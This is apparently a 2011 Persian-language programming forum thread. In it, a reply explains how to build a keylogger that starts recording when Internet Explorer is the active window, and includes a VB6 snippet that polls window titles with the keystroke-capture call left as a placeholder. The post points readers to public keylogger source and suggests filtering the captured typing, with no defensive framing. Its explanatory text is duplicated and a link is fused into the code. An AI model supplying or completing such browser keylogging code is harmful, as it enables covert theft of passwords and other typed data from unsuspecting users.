10-31-2011، 04:00 PM
11-01-2011، 11:16 PM
درود
شما هندل پنجره ها رو میگیرید تو کد زیر وقتی اینترنت اکسپلور اجرا شد برنامه تابع کیلاگر رو فراخونی میکنه
وقتی تایپ کرد شروع به ذخیره کردن میکنی تابع کیلاگر نزاشتم چون که پابلیک میشه تو گوگل یه سرچ کنی میتونی یه سورسکیلاگر پیدا کنی
بعد میتونی چیزهای که تایپ کرده فیلتر کنی میتونی هندل پنجره ای که توش تایپ میکنن هم بگیری اما بخاطر ورژن های متختلف اینترنت اکسپلور موزیلا اپرا و .... امکان خطا رفتن بالا میره
یه نمونه برات نوشتم :
اینم یه سمپل دیگه برای اینترنت اکسپلوره
http://www.vb-helper.com/HowTo/howto_fin...ddress.zip
شما هندل پنجره ها رو میگیرید تو کد زیر وقتی اینترنت اکسپلور اجرا شد برنامه تابع کیلاگر رو فراخونی میکنه
وقتی تایپ کرد شروع به ذخیره کردن میکنی تابع کیلاگر نزاشتم چون که پابلیک میشه تو گوگل یه سرچ کنی میتونی یه سورسکیلاگر پیدا کنی
بعد میتونی چیزهای که تایپ کرده فیلتر کنی میتونی هندل پنجره ای که توش تایپ میکنن هم بگیری اما بخاطر ورژن های متختلف اینترنت اکسپلور موزیلا اپرا و .... امکان خطا رفتن بالا میره
یه نمونه برات نوشتم :
کد:
'/coder : Mohammad Amin Mansouri
'Forum : www.parsicoders.com
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private Sub Timer1_Timer()
Call AminLog
End Sub
Private Sub AminLog()
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
hForegroundWnd = GetForegroundWindow()
GetWindowText hForegroundWnd, Title, 1000
Me.Caption = Title
If InStr(Title, "Internet Explorer") <> 0 Then
End
'Call Keylogger
End If
End Subhttp://www.vb-helper.com/HowTo/howto_fin...ddress.zip